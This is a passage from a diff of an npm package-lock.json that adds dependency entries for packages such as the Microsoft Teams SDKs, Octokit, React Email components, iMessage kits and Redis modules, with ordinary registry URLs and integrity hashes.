"https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-ia32": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.5.tgz", + "integrity": "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==", + "cpu": [ + "ia32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.5.tgz", + "integrity": "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, "node_modules/@jridgewell/sourcemap-codec": { "version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", @@ -865,6 +1535,351 @@ "dev": true, "license": "MIT" }, + "node_modules/@linear/sdk": { + "version": "76.0.0", + "resolved": "https://registry.npmjs.org/@linear/sdk/-/sdk-76.0.0.tgz", + "integrity": "sha512-Xt0x5Kl6qBoWhGFypb8ykyP+c5kT7scmRPs1uJidSPOaRgkMJ/4y41QpmZCWCBUMmZtf/O0VktgQio6rLXT94w==", + "license": "MIT", + "dependencies": { + "@graphql-typed-document-node/core": "^3.2.0" + }, + "engines": { + "node": ">=18.x" + } + }, + "node_modules/@matrix-org/matrix-sdk-crypto-wasm": { + "version": "18.0.0", + "resolved": "https://registry.npmjs.org/@matrix-org/matrix-sdk-crypto-wasm/-/matrix-sdk-crypto-wasm-18.0.0.tgz", + "integrity": "sha512-88+n+dvxLI1cjS10UIlKXVYK7TGWbpAnnaDC9fow7ch/hCvdu3dFhJ3tS3/13N9s9+1QFXB4FFuommj+tHJPhQ==", + "license": "Apache-2.0", + "engines": { + "node": ">= 18" + } + }, + "node_modules/@microsoft/teams.api": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.api/-/teams.api-2.0.7.tgz", + "integrity": "sha512-SQu7d/alQ3ZKgBX2ur/0VbtxsDLMZb3HmGUVnzIWkvSzFkGcPQ8uPK//670gpEyFJVh2qqP0wFwOwH98/tO57w==", + "license": "MIT", + "dependencies": { + "@microsoft/teams.cards": "2.0.7", + "@microsoft/teams.common": "2.0.7", + "jwt-decode": "^4.0.0", + "qs": "^6.14.2" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.apps": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.apps/-/teams.apps-2.0.7.tgz", + "integrity": "sha512-1y7mLrM/HZfRn8tHK/vInMZCpMXjRPQ6QawboNXttJqEQxvlwNRK9nzDjnzuIyBF32oTVt/ro7Id38oNnhaXeQ==", + "license": "MIT", + "dependencies": { + "@azure/msal-node": "^3.8.1", + "@microsoft/teams.api": "2.0.7", + "@microsoft/teams.common": "2.0.7", + "@microsoft/teams.graph": "2.0.7", + "axios": "^1.12.0", + "cors": "^2.8.5", + "express": "^5.0.0", + "jsonwebtoken": "^9.0.2", + "jwks-rsa": "^3.2.0", + "reflect-metadata": "^0.2.2" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.cards": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.cards/-/teams.cards-2.0.7.tgz", + "integrity": "sha512-HUGw5OWKc6eCdinRLYqHgFyvScTplQs+PqUqHnf79wH1QNqAKCX+p7uF71YxTm383laJYOqDGYU6uvFEoTvOsA==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.common": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.common/-/teams.common-2.0.7.tgz", + "integrity": "sha512-O3qWC/RbLbiJSAHyk1j5Ybx3GAxmM7DhFbfLW5a2sebEQ+Sn/hB/8rr+IsxlG2FAaUgrcKkir8B55wuKTlZPYw==", + "license": "MIT", + "dependencies": { + "axios": "^1.12.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.graph": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.graph/-/teams.graph-2.0.7.tgz", + "integrity": "sha512-hHX1gsCL7GFhAUz1CAT+PFar5U20/nA6sV4yJJaLygu0Wft10XgX3tJh1FckXBQlO1vCaDRtmcMJ9Eey0Z/wRg==", + "license": "MIT", + "dependencies": { + "@microsoft/teams.common": "2.0.7", + "qs": "^6.14.2" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.graph-endpoints": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.graph-endpoints/-/teams.graph-endpoints-2.0.7.tgz", + "integrity": "sha512-VYx2CeSqZnjsp8fvVgt0f5PahXk2OKBKUHo1ICPLX/pvzsxjB8+RYU/5dvXVzPweNRTbIJR5gAugzyZwL/1miQ==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/@octokit/auth-app": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-app/-/auth-app-8.2.0.tgz", + "integrity": "sha512-vVjdtQQwomrZ4V46B9LaCsxsySxGoHsyw6IYBov/TqJVROrlYdyNgw5q6tQbB7KZt53v1l1W53RiqTvpzL907g==", + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-app": "^9.0.3", + "@octokit/auth-oauth-user": "^6.0.2", + "@octokit/request": "^10.0.6", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0", + "toad-cache": "^3.7.0", + "universal-github-app-jwt": "^2.2.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/auth-oauth-app": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-app/-/auth-oauth-app-9.0.3.tgz", + "integrity": "sha512-+yoFQquaF8OxJSxTb7rnytBIC2ZLbLqA/yb71I4ZXT9+Slw4TziV9j/kyGhUFRRTF2+7WlnIWsePZCWHs+OGjg==", + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-device": "^8.0.3", + "@octokit/auth-oauth-user": "^6.0.2", + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/auth-oauth-device": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-device/-/auth-oauth-device-8.0.3.tgz", + "integrity": "sha512-zh2W0mKKMh/VWZhSqlaCzY7qFyrgd9oTWmTmHaXnHNeQRCZr/CXy2jCgHo4e4dJVTiuxP5dLa0YM5p5QVhJHbw==", + "license": "MIT", + "dependencies": { + "@octokit/oauth-methods": "^6.0.2", + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/auth-oauth-user": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-user/-/auth-oauth-user-6.0.2.tgz", + "integrity": "sha512-qLoPPc6E6GJoz3XeDG/pnDhJpTkODTGG4kY0/Py154i/I003O9NazkrwJwRuzgCalhzyIeWQ+6MDvkUmKXjg/A==", + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-device": "^8.0.3", + "@octokit/oauth-methods": "^6.0.2", + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/auth-token": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-6.0.0.tgz", + "integrity": "sha512-P4YJBPdPSpWTQ1NU4XYdvHvXJJDxM6YwpS0FZHRgP7YFkdVxsWcpWGy/NVqlAA7PcPCnMacXlRm1y2PFZRWL/w==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/core": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/@octokit/core/-/core-7.0.6.tgz", + "integrity": "sha512-DhGl4xMVFGVIyMwswXeyzdL4uXD5OGILGX5N8Y+f6W7LhC1Ze2poSNrkF/fedpVDHEEZ+PHFW0vL14I+mm8K3Q==", + "license": "MIT", + "dependencies": { + "@octokit/auth-token": "^6.0.0", + "@octokit/graphql": "^9.0.3", + "@octokit/request": "^10.0.6", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0", + "before-after-hook": "^4.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/endpoint": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-11.0.3.tgz", + "integrity": "sha512-FWFlNxghg4HrXkD3ifYbS/IdL/mDHjh9QcsNyhQjN8dplUoZbejsdpmuqdA76nxj2xoWPs7p8uX2SNr9rYu0Ag==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.2" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/graphql": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-9.0.3.tgz", + "integrity": "sha512-grAEuupr/C1rALFnXTv6ZQhFuL1D8G5y8CN04RgrO4FIPMrtm+mcZzFG7dcBm+nq+1ppNixu+Jd78aeJOYxlGA==", + "license": "MIT", + "dependencies": { + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/oauth-authorization-url": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@octokit/oauth-authorization-url/-/oauth-authorization-url-8.0.0.tgz", + "integrity": "sha512-7QoLPRh/ssEA/HuHBHdVdSgF8xNLz/Bc5m9fZkArJE5bb6NmVkDm3anKxXPmN1zh6b5WKZPRr3697xKT/yM3qQ==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/oauth-methods": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@octokit/oauth-methods/-/oauth-methods-6.0.2.tgz", + "integrity": "sha512-HiNOO3MqLxlt5Da5bZbLV8Zarnphi4y9XehrbaFMkcoJ+FL7sMxH/UlUsCVxpddVu4qvNDrBdaTVE2o4ITK8ng==", + "license": "MIT", + "dependencies": { + "@octokit/oauth-authorization-url": "^8.0.0", + "@octokit/request": "^10.0.6", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/openapi-types": { + "version": "27.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-27.0.0.tgz", + "integrity": "sha512-whrdktVs1h6gtR+09+QsNk2+FO+49j6ga1c55YZudfEG+oKJVvJLQi3zkOm5JjiUXAagWK2tI2kTGKJ2Ys7MGA==", + "license": "MIT" + }, + "node_modules/@octokit/plugin-paginate-rest": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-14.0.0.tgz", + "integrity": "sha512-fNVRE7ufJiAA3XUrha2omTA39M6IXIc6GIZLvlbsm8QOQCYvpq/LkMNGyFlB1d8hTDzsAXa3OKtybdMAYsV/fw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/plugin-request-log": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-6.0.0.tgz", + "integrity": "sha512-UkOzeEN3W91/eBq9sPZNQ7sUBvYCqYbrrD8gTbBuGtHEuycE4/awMXcYvx6sVYo7LypPhmQwwpUe4Yyu4QZN5Q==", + "license": "MIT", + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/plugin-rest-endpoint-methods": { + "version": "17.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-17.0.0.tgz", + "integrity": "sha512-B5yCyIlOJFPqUUeiD0cnBJwWJO8lkJs5d8+ze9QDP6SvfiXSz1BF+91+0MeI1d2yxgOhU/O+CvtiZ9jSkHhFAw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/request": { + "version": "10.0.8", + "resolved": "https://registry.npmjs.org/@octokit/request/-/request-10.0.8.tgz", + "integrity": "sha512-SJZNwY9pur9Agf7l87ywFi14W+Hd9Jg6Ifivsd33+/bGUQIjNujdFiXII2/qSlN2ybqUHfp5xpekMEjIBTjlSw==", + "license": "MIT", + "dependencies": { + "@octokit/endpoint": "^11.0.3", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0", + "fast-content-type-parse": "^3.0.0", + "json-with-bigint": "^3.5.3", + "universal-user-agent": "^7.0.2" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/request-error": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-7.1.0.tgz", + "integrity": "sha512-KMQIfq5sOPpkQYajXHwnhjCC0slzCNScLHs9JafXc4RAJI+9f+jNDlBNaIMTvazOPLgb4BnlhGJOTbnN0wIjPw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/rest": { + "version": "22.0.1", + "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-22.0.1.tgz", + "integrity": "sha512-Jzbhzl3CEexhnivb1iQ0KJ7s5vvjMWcmRtq5aUsKmKDrRW6z3r84ngmiFKFvpZjpiU/9/S6ITPFRpn5s/3uQJw==", + "license": "MIT", + "dependencies": { + "@octokit/core": "^7.0.6", + "@octokit/plugin-paginate-rest": "^14.0.0", + "@octokit/plugin-request-log": "^6.0.0", + "@octokit/plugin-rest-endpoint-methods": "^17.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/types": { + "version": "16.0.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-16.0.0.tgz", + "integrity": "sha512-sKq+9r1Mm4efXW1FCk7hFSeJo4QKreL/tTbR0rz/qx/r1Oa2VV83LTA/H/MuCOX7uCIJmQVRKBcbmWoySjAnSg==", + "license": "MIT", + "dependencies": { + "@octokit/openapi-types": "^27.0.0" + } + }, "node_modules/@onecli-sh/sdk": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/@onecli-sh/sdk/-/sdk-0.2.0.tgz", @@ -873,6 +1888,476 @@ "node": ">=20" } }, + "node_modules/@photon-ai/advanced-imessage-kit": { + "version": "1.14.3", + "resolved": "https://registry.npmjs.org/@photon-ai/advanced-imessage-kit/-/advanced-imessage-kit-1.14.3.tgz", + "integrity": "sha512-i/WqwhvI9CwL9sd78YkV7PJmGftR2Z03GyIpRfMb6P6WKisHja+72wErSu66HCTLzRheDwazO44tJUbNobGoig==", + "license": "MIT", + "dependencies": { + "axios": "^1.13.2", + "consola": "^3.4.2", + "form-data": "^4.0.4", + "reflect-metadata": "^0.2.2", + "sharp": "^0.34.5", + "socket.io-client": "^4.8.1", + "zod": "^4.3.6" + }, + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "typescript": "^5.9.3" + } + }, + "node_modules/@photon-ai/imessage-kit": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@photon-ai/imessage-kit/-/imessage-kit-2.1.2.tgz", + "integrity": "sha512-xteMkPqqWkPLv40M9gA1HJGS/fHXIWzzXNCwRfnC4+bj120KMXMacT9zOSoEcGk4MA0pGXcUMQPE16MdB+Bf/g==", + "license": "MIT", + "dependencies": { + "node-typedstream": "^1.4.1" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "better-sqlite3": "^12.5.0" + } + }, + "node_modules/@photon-ai/imessage-kit/node_modules/better-sqlite3": { + "version": "12.8.0", + "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-12.8.0.tgz", + "integrity": "sha512-RxD2Vd96sQDjQr20kdP+F+dK/1OUNiVOl200vKBZY8u0vTwysfolF6Hq+3ZK2+h8My9YvZhHsF+RSGZW2VYrPQ==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "dependencies": { + "bindings": "^1.5.0", + "prebuild-install": "^7.1.1" + }, + "engines": { + "node": "20.x || 22.x || 23.x || 24.x || 25.x" + } + }, + "node_modules/@react-email/body": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@react-email/body/-/body-0.2.1.tgz", + "integrity": "sha512-ljDiQiJDu/Fq//vSIIP0z5Nuvt4+DX1RqGasstChDGJB/14ogd4VdNS9aacoede/ZjGy3o3Qb+cxyS+XgM6SwQ==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/button": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@react-email/button/-/button-0.2.1.tgz", + "integrity": "sha512-qXyj7RZLE7POy9BMKSoqQ00tOXThjOZSUnI2Yu9i29IHngPlmrNayIWBoVKtElES7OWwypUcpiajwi1mUWx6/A==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/code-block": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@react-email/code-block/-/code-block-0.2.1.tgz", + "integrity": "sha512-M3B7JpVH4ytgn83/ujRR1k1DQHvTeABiDM61OvAbjLRPhC/5KLHU5KkzIbbuGIrjWwxAbL1kSQzU8MhLEtSxyw==", + "license": "MIT", + "dependencies": { + "prismjs": "^1.30.0" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/code-inline": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/@react-email/code-inline/-/code-inline-0.0.6.tgz", + "integrity": "sha512-jfhebvv3dVsp3OdPgKXnk8+e2pBiDVZejDOBFzBa/IblrAJ9cQDkN6rBD5IyEg8hTOxwbw3iaI/yZFmDmIguIA==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/column": { + "version": "0.0.14", + "resolved": "https://registry.npmjs.org/@react-email/column/-/column-0.0.14.tgz", + "integrity": "sha512-f+W+Bk2AjNO77zynE33rHuQhyqVICx4RYtGX9NKsGUg0wWjdGP0qAuIkhx9Rnmk4/hFMo1fUrtYNqca9fwJdHg==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/components": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@react-email/components/-/components-1.0.8.tgz", + "integrity": "sha512-zY81ED6o5MWMzBkr9uZFuT24lWarT+xIbOZxI6C9dsFmCWBczM8IE1BgOI8rhpUK4JcYVDy1uKxYAFqsx2Bc4w==", + "license": "MIT", + "dependencies": { + "@react-email/body": "0.2.1", + "@react-email/button": "0.2.1", + "@react-email/code-block": "0.2.1", + "@react-email/code-inline": "0.0.6", + "@react-email/column": "0.0.14", + "@react-email/container": "0.0.16", + "@react-email/font": "0.0.10", + "@react-email/head": "0.0.13", + "@react-email/heading": "0.0.16", + "@react-email/hr": "0.0.12", + "@react-email/html": "0.0.12", + "@react-email/img": "0.0.12", + "@react-email/link": "0.0.13", + "@react-email/markdown": "0.0.18", + "@react-email/preview": "0.0.14", + "@react-email/render": "2.0.4", + "@react-email/row": "0.0.13", + "@react-email/section": "0.0.17", + "@react-email/tailwind": "2.0.5", + "@react-email/text": "0.1.6" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/container": { + "version": "0.0.16", + "resolved": "https://registry.npmjs.org/@react-email/container/-/container-0.0.16.tgz", + "integrity": "sha512-QWBB56RkkU0AJ9h+qy33gfT5iuZknPC7Un/IjZv9B0QmMIK+WWacc0cH6y2SV5Cv/b99hU94fjEMOOO4enpkbQ==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/font": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/@react-email/font/-/font-0.0.10.tgz", + "integrity": "sha512-0urVSgCmQIfx5r7Xc586miBnQUVnGp3OTYUm8m5pwtQRdTRO5XrTtEfNJ3JhYhSOruV0nD8fd+dXtKXobum6tA==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/head": { + "version": "0.0.13", + "resolved": "https://registry.npmjs.org/@react-email/head/-/head-0.0.13.tgz", + "integrity": "sha512-AJg6le/08Gz4tm+6MtKXqtNNyKHzmooOCdmtqmWxD7FxoAdU1eVcizhtQ0gcnVaY6ethEyE/hnEzQxt1zu5Kog==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/heading": { + "version": "0.0.16", + "resolved": "https://registry.npmjs.org/@react-email/heading/-/heading-0.0.16.tgz", + "integrity": "sha512-jmsKnQm1ykpBzw4hCYHwBkt5pW2jScXffPeEH5ZRF5tZeF5b1pvlFTO9han7C0pCkZYo1kEvWiRtx69yfCIwuw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/hr": { + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@react-email/hr/-/hr-0.0.12.tgz", + "integrity": "sha512-TwmOmBDibavUQpXBxpmZYi2Iks/yeZOzFYh+di9EltMSnEabH8dMZXrl+pxNXzCgZ2XE8HY7VmUL65Lenfu5PA==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/html": { + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@react-email/html/-/html-0.0.12.tgz", + "integrity": "sha512-KTShZesan+UsreU7PDUV90afrZwU5TLwYlALuCSU0OT+/U8lULNNbAUekg+tGwCnOfIKYtpDPKkAMRdYlqUznw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/img": { + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@react-email/img/-/img-0.0.12.tgz", + "integrity": "sha512-sRCpEARNVTf3FQhZOC+JTvu5r6ubiYWkT0ucYXg8ctkyi4G8QG+jgYPiNUqVeTLA2STOfmPM/nrk1nb84y6CPQ==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/link": { + "version": "0.0.13", + "resolved": "https://registry.npmjs.org/@react-email/link/-/link-0.0.13.tgz", + "integrity": "sha512-lkWc/NjOcefRZMkQoSDDbuKBEBDES9aXnFEOuPH845wD3TxPwh+QTf0fStuzjoRLUZWpHnio4z7qGGRYusn/sw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/markdown": { + "version": "0.0.18", + "resolved": "https://registry.npmjs.org/@react-email/markdown/-/markdown-0.0.18.tgz", + "integrity": "sha512-gSuYK5fsMbGk87jDebqQ6fa2fKcWlkf2Dkva8kMONqLgGCq8/0d+ZQYMEJsdidIeBo3kmsnHZPrwdFB4HgjUXg==", + "license": "MIT", + "dependencies": { + "marked": "^15.0.12" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/preview": { + "version": "0.0.14", + "resolved": "https://registry.npmjs.org/@react-email/preview/-/preview-0.0.14.tgz", + "integrity": "sha512-aYK8q0IPkBXyMsbpMXgxazwHxYJxTrXrV95GFuu2HbEiIToMwSyUgb8HDFYwPqqfV03/jbwqlsXmFxsOd+VNaw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/render": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@react-email/render/-/render-2.0.4.tgz", + "integrity": "sha512-kht2oTFQ1SwrLpd882ahTvUtNa9s53CERHstiTbzhm6aR2Hbykp/mQ4tpPvsBGkKAEvKRlDEoooh60Uk6nHK1g==", + "license": "MIT", + "dependencies": { + "html-to-text": "^9.0.5", + "prettier": "^3.5.3" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/row": { + "version": "0.0.13", + "resolved": "https://registry.npmjs.org/@react-email/row/-/row-0.0.13.tgz", + "integrity": "sha512-bYnOac40vIKCId7IkwuLAAsa3fKfSfqCvv6epJKmPE0JBuu5qI4FHFCl9o9dVpIIS08s/ub+Y/txoMt0dYziGw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/section": { + "version": "0.0.17", + "resolved": "https://registry.npmjs.org/@react-email/section/-/section-0.0.17.tgz", + "integrity": "sha512-qNl65ye3W0Rd5udhdORzTV9ezjb+GFqQQSae03NDzXtmJq6sqVXNWNiVolAjvJNypim+zGXmv6J9TcV5aNtE/w==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/tailwind": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@react-email/tailwind/-/tailwind-2.0.5.tgz", + "integrity": "sha512-7Ey+kiWliJdxPMCLYsdDts8ffp4idlP//w4Ui3q/A5kokVaLSNKG8DOg/8qAuzWmRiGwNQVOKBk7PXNlK5W+sg==", + "license": "MIT", + "dependencies": { + "tailwindcss": "^4.1.18" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "@react-email/body": "0.2.1", + "@react-email/button": "0.2.1", + "@react-email/code-block": "0.2.1", + "@react-email/code-inline": "0.0.6", + "@react-email/container": "0.0.16", + "@react-email/heading": "0.0.16", + "@react-email/hr": "0.0.12", + "@react-email/img": "0.0.12", + "@react-email/link": "0.0.13", + "@react-email/preview": "0.0.14", + "@react-email/text": "0.1.6", + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@react-email/body": { + "optional": true + }, + "@react-email/button": { + "optional": true + }, + "@react-email/code-block": { + "optional": true + }, + "@react-email/code-inline": { + "optional": true + }, + "@react-email/container": { + "optional": true + }, + "@react-email/heading": { + "optional": true + }, + "@react-email/hr": { + "optional": true + }, + "@react-email/img": { + "optional": true + }, + "@react-email/link": { + "optional": true + }, + "@react-email/preview": { + "optional": true + } + } + }, + "node_modules/@react-email/text": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/@react-email/text/-/text-0.1.6.tgz", + "integrity": "sha512-TYqkioRS45wTR5il3dYk/SbUjjEdhSwh9BtRNB99qNH1pXAwA45H7rAuxehiu8iJQJH0IyIr+6n62gBz9ezmsw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@redis/bloom": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/bloom/-/bloom-5.11.0.tgz", + "integrity": "sha512-KYiVilAhAFN3057afUb/tfYJpsEyTkQB+tQcn5gVVA7DgcNOAj8lLxe4j8ov8BF6I9C1Fe/kwlbuAICcTMX8Lw==", + "license": "MIT", + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@redis/client": "^5.11.0" + } + }, + "node_modules/@redis/client": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/client/-/client-5.11.0.tgz", + "integrity": 